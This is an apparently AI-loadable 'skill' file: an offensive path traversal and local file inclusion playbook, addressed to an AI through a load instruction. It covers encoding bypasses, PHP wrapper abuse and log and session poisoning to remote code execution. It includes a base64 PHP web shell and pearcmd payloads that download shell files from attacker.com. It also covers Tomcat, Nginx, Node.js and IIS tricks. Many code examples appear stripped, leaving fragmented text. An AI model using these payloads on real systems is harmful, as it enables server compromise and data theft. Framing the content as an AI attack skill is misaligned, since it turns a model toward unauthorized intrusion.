Path traversal and LFI playbook. Use when file paths, download endpoints, include operations, archive extraction, or wrapper behavior may expose filesystem control.

SKILL: Path Traversal / Local File Inclusion (LFI) — Expert Attack Playbook AI LOAD INSTRUCTION : Expert path traversal and LFI techniques. Covers encoding bypass sequences, OS differences, filter bypass, PHP wrapper exploitation, log poisoning to RCE, and the critical distinction between path traversal (read only) vs LFI (execution). Base models miss encoding chains and RCE escalation paths. 0. RELATED ROUTING Before deep exploitation, you can first load: [upload insecure files](../upload insecure files/SKILL.md) when the primary attack surface is an upload workflow rather than an include or read primitive [ghost bits cast attack](../ghost bits cast attack/SKILL.md) when the target is a Java backend (Spring, Jetty, Undertow, Vert.x) and standard ../ , %2e%2e , %252e chains are WAF blocked — Ghost Bits substitutes . with 阮 (U+962E) and / with 阯 (U+962F), re enabling traversal through Spring CVE 2025 41242 and Jetty %2 hex folding First pass traversal chains 1. CORE CONCEPT Path Traversal : Read arbitrary files by escaping the intended directory with ../ sequences. LFI : In PHP, when user input controls include() / require() — file is executed as PHP code, not just read. 2. TRAVERSAL SEQUENCE VARIANTS The filtering strategy determines which encoding to use: Basic URL Encoding Double URL Encoding (when server decodes once, filter checks before decode) Unicode / Overlong UTF 8 Mixed Encodings Filter Strips ../ (so ../ becomes ../ after strip) Null Byte Injection (legacy PHP < 5.3.4) 3. TARGET FILES AND ESCALATION TARGETS Linux Web Application Config Files Windows 4. PHP LFI → RCE TECHNIQUES Log Poisoning (most reliable when log is accessible) Step 1 : Inject PHP code into Apache/Nginx access log via User Agent: Step 2 : Include the log file via LFI: SSH Log Poisoning Inject PHP payload as SSH username: Then include /var/log/auth.log . PHP Session File Poisoning Step 1 : Send PHP code in session stored parameter (e.g., username), triggering storage in session file Step 2 : Include session file: Find session ID from cookie PHPSESSID . PHP Wrappers for RCE php://expect wrapper (requires expect PHP extension): php://input wrapper (combine LFI with POST body): data:// wrapper (inject PHP directly as base64): (PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4= = <?php system($ GET['cmd']); ? ) 5. PHP FILTER WRAPPER (FILE CONTENT READ) Use php://filter to base64 encode file content to avoid null bytes, binary data: Decode the returned base64 to see the file contents (including PHP source code). Chain filters (multiple transforms to bypass input filters): 6. REMOTE FILE INCLUSION (RFI) — WHEN ENABLED If PHP's allow url include = On (rare but exists): Host a shell.txt with <?php system($ GET['cmd']); ? . 7. SERVER SPECIFIC PATH TRUNCATION PHP has a historical path length limit. Pad with . or /./ to truncate appended extension: When server appends .php , the truncation drops it. Or null byte if PHP < 5.3.4: 8. PARAMETER LOCATIONS TO TEST Also test: HTTP headers, cookies, form action values, import/upload features. 9. FILTER BYPASS CHECKLIST When ../ is stripped or blocked: 10. IMPACT ESCALATION PATH 11. LFI TO RCE ESCALATION PATHS Method Requirements Payload Log Poisoning (Apache) LFI + Apache access.log readable Inject <?php system($ GET['c']);? in User Agent → include /var/log/apache2/access.log Log Poisoning (SSH) LFI + SSH auth.log readable SSH as <?php system('id');? @target → include /var/log/auth.log Log Poisoning (Mail) LFI + mail log readable Send email with PHP in subject → include /var/log/mail.log /proc/self/fd bruteforce LFI + Linux Bruteforce /proc/self/fd/0 through /proc/self/fd/255 for open file handles containing injected content /proc/self/environ LFI + CGI/FastCGI Inject PHP in User Agent header → include /proc/self/environ iconv CVE 2024 2961 glibc < 2.39, PHP with php://filter php://filter/convert.iconv.UTF 8.ISO 2022 CN EXT/resource= chain to heap overflow → RCE. Tool: cnext exploits phpinfo() assisted LFI + phpinfo page accessible Race condition: upload tmp file via multipart to phpinfo → read tmp path from response → include before cleanup PHP Session LFI + session file writable Inject PHP into session via controllable session variable → include /tmp/sess SESSIONID or /var/lib/php/sessions/sess SESSIONID Upload race LFI + upload endpoint Upload PHP file → include before server side validation/deletion 12. PHP WRAPPER EXPLOITATION MATRIX php://filter (most powerful, always try first) Filter chain RCE (synacktiv php filter chain generator): Chain multiple convert.iconv filters to write arbitrary bytes without file upload Tool: synacktiv/php filter chain generator → generates chain that writes PHP code python3 php filter chain generator.py chain '<?php system("id");? ' convert.iconv + dechunk oracle (blind file read): Tool: synacktiv/php filter chains oracle exploit (filters chain oracle exploit) Enables blind LFI to read file contents character by character php://input Requires allow url include=On data:// phar:// Triggers deserialization of phar metadata → RCE via POP chain (requires file upload of crafted phar, can be disguised as JPEG) zip:// expect:// Requires expect extension (rare) 13. PEARCMD LFI EXPLOITATION When pearcmd.php is accessible via LFI (common in Docker PHP images): Method Payload config create /?file=pearcmd.php&+config create+/<?=phpinfo()? +/tmp/shell.php man dir /?file=pearcmd.php&+ c+/tmp/shell.php+ d+man dir=<?=phpinfo()? + s+ download /?file=pearcmd.php&+download+http://attacker.com/shell.php install /?file=pearcmd.php&+install+http://attacker.com/shell.tgz 14. WINDOWS SPECIFIC LFI TECHNIQUES FindFirstFile wildcard (Windows only): < matches any single character, matches any sequence (similar to ? and but in file APIs) php<< can match php5 , phtml , etc. ..\..\windows\win.ini → use << for fuzzy matching: ..\..\windows\win<< 15. PARAMETER NAMING PATTERNS (HIGH FREQUENCY TARGETS) Based on vulnerability research statistical analysis: Parameter Name Frequency Context filename , file , path Very High Direct file operations page , include , template High Template/page inclusion url , src , href High Resource loading download , read , load Medium File download/read dir , folder , root Medium Directory operations hdfile , inputFile , XFileName Low CMS/middleware specific FileUrl , filePath , docPath Low Enterprise app specific High frequency vulnerable endpoints: down.php , download.jsp , download.asp , readfile.php , file download.php , getfile.php , view.php 16. LFI TO RCE — ESCALATION PATHS 1. /proc/self/fd Brute Force 2. /proc/self/environ Poisoning 3. Log Poisoning 4. PHP Session File Poisoning 5. phpinfo() Assisted LFI 6. iconv CVE 2024 2961 17. PHP WRAPPER EXPLOITATION MATRIX php://filter (file read without execution) convert.iconv + dechunk Oracle (blind file read) data:// Wrapper expect:// Wrapper php://input zip:// and phar:// Wrappers wrapwrap (prefix/suffix injection) 18. PEARCMD LFI TO RCE When PEAR is installed and register argc argv=On (common in Docker PHP images): Windows FindFirstFile Wildcard 19. PARAMETER NAMING PATTERNS & HIGH FREQUENCY ENDPOINTS Common Vulnerable Parameter Names High Frequency Vulnerable Endpoints Endpoint Pattern Frequency down.php / download.php Very High download.jsp / download.do Very High download.asp / download.aspx High readfile.php / file.php High export / report endpoints Medium template / preview endpoints Medium Bypass Technique Distribution (from field research) Technique Prevalence Absolute path direct access Most common WEB INF/web.xml read (Java) Common Base64 encoded path parameter Moderate Double URL encoding Moderate UTF 8 overlong encoding ( %c0%ae ) Rare but effective Null byte truncation ( %00 ) Legacy (PHP < 5.3.4) 20. JAVA / SPRING PATH TRAVERSAL Spring Resource Loading High value Java targets Spring MVC ResourceHttpRequestHandler When static resources are served via spring.resources.static locations : 21. TOMCAT SPECIFIC TRICKS Path Parameter Normalization ( /..;/ ) Tomcat treats ; as a path parameter delimiter and strips everything from ; to the next / before path resolution, but upstream proxies or WAFs may not: WAF bypass chain : reverse proxy sees /app/..;/manager/html as a path under /app/ (allowed), but Tomcat normalizes ..; to .. and traverses up. AJP Ghostcat (CVE 2020 1938) Apache JServ Protocol (AJP, port 8009) exposed to the network allows arbitrary file read and JSP execution: Conditions : AJP connector on port 8009 reachable (default Tomcat, often not firewalled in Docker/internal). secretRequired unset prior to Tomcat 9.0.31. Tomcat double URL decode 22. NGINX ALIAS MISCONFIGURATION The trailing slash trap Nginx maps /assets../etc/passwd to /data/../etc/passwd to /etc/passwd because alias replaces the exact location prefix ( /assets ) with the alias path ( /data/ ), and ../ in the remainder traverses out. Correct configuration : Off by one in location + alias Rule: when alias is used, the location prefix and the alias path must both end with / , or neither does. 23. NODE.JS PATH MODULE QUIRKS path.join() with URL encoded input Express URL decodes req.params before path.join : express.static() quirks Calls decodeURIComponent on the path, then path.normalize() Double encoding ( %252e%252e%252f ) bypasses if middleware decodes once, then express.static decodes again Null bytes ( %00 ) rejected in modern Node.js (v14+), but legacy versions may truncate url.parse() vs new URL() confusion Apps mixing url.parse() and path.join() may allow traversal that new URL() would have normalized. 24. IIS SHORT FILENAME ENUMERATION (~1 TILDE TRICK) Concept Windows NTFS generates 8.3 short filenames (e.g., LONGFI~1.TXT ). IIS responds differently for valid vs invalid short name prefixes. Detection method Differential response leaks whether a file starting with that prefix exists. Enumeration process Tools Impact Discover hidden backups, config files, source code Shorter brute force space: 8.3 format limits character set Works even when directory listing is disabled

path-traversal-lfi